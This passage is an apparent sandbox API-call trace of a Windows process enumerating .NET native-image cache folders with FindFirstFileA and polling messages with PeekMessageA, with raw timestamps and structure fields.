ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5b2ac3b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.845] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Te3736ca4#\\512c2472f805f001d3c4f02c27c62e7e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b2ac3b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5b2ac3b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5b2ac3b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.847] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.849] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.850] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Te49ad7d9#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ae5bbd0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5ae5bbd0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5ae5bbd0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.851] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Te49ad7d9#\\8edf6e3bdb552e65cab22ca4d1148cf6\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ae5bbd0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5aea7e90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5aea7e90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.853] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.855] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.856] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.V1955d7fd#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80dc5360, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x80dc5360, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x80dc5360, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.857] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.V1955d7fd#\\944e1014ef0bc1b6df2f9bbc2c0b41dd\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80dc5360, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x80deb4c0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x80deb4c0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.861] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.863] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.863] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.V28a60cc2#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x814e9560, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x814e9560, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x814e9560, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.865] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.V28a60cc2#\\cf10ec315ea94a0467920d4176ebe0a0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x814e9560, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x814e9560, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x814e9560, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.870] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.872] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.873] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.V4381984f#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d44ba70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5d44ba70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5d44ba70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.874] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.V4381984f#\\7478cb90dd3481760bd5eb7d04862935\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d44ba70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5a1a3d30, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x5a1a3d30, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.878] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.881] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.881] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.V5499e76b#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x816401c0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x816401c0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x816401c0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.882] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.V5499e76b#\\33f8b18ad2eaebc19c42fec792143c6a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x816401c0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x816401c0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x816401c0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.885] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.887] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.896] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.V883708cb#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80844080, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x80844080, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x80844080, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.897] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.V883708cb#\\5d39bc19f40aaa66053eaa1dabcc3a06\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80844080, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x80844080, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x80844080, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.901] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.910] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.911] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.V9921e851#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bf9db50, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5bf9db50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5bf9db50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.912] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.V9921e851#\\0fe7d8efc42d59706fc969c7073faa21\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bf9db50, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5bfc3cb0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5bfc3cb0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.916] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.918] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.919] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Vb0a86591#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d178050, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5d178050, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5d178050, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.920] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Vb0a86591#\\cd4f1bdff590be7148008127c8afd779\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d178050, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x59f68890, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x59f68890, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.923] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.926] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.926] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Vf4833439#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c603670, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5c603670, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5c603670, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.927] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Vf4833439#\\a9f18881e3a0b48ecf94063a0ed8e137\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c603670, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5c603670, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5c603670, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.929] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.930] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.930] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Vf9a08577#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80713580, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x80713580, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x80713580, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.931] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Vf9a08577#\\b30a8085dc12494ca346f91b3e0d070e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80713580, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x80713580, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x80713580, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.934] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.936] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.936] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Vff41975e#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81157460, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x81157460, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x81157460, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.937] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Vff41975e#\\2b3f56e5fd9e3b009442a42162bd3f7f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81157460, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x8117d5c0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x8117d5c0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.940] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.941] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.942] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.VisualC\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d5302b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5d5302b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5d5302b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.943] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.VisualC\\484a06191d41e209cb7527d5fe991b5e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d5302b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5d5302b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5d5302b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.943] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.951] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.953] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.W71daf281#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d9f2eb0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5d9f2eb0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5d9f2eb0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.956] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.W71daf281#\\18e1dbb4d094e45ddd251eafa3743d9e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d9f2eb0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5da19010, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5da19010, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.959] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.962] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.963] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\MSBuild\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4fd51790, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x4fd51790, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x4fd51790, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.964] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\MSBuild\\429eaf12731314ca0cab92f0da677daf\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4fd51790, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x4fd51790, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x4fd51790, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x640064, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.965] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.971] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.971] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf617d1e0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x88d186c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x88d186c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.974] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\70690ed034c632a010f791ea65e40064\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8516ff60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x851e2380, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x851e2380, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610064, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.974] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.977] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.978] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatio080b339b#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e410c30, ftCreationTime.dwHighDateTime=0x1d2faf0, 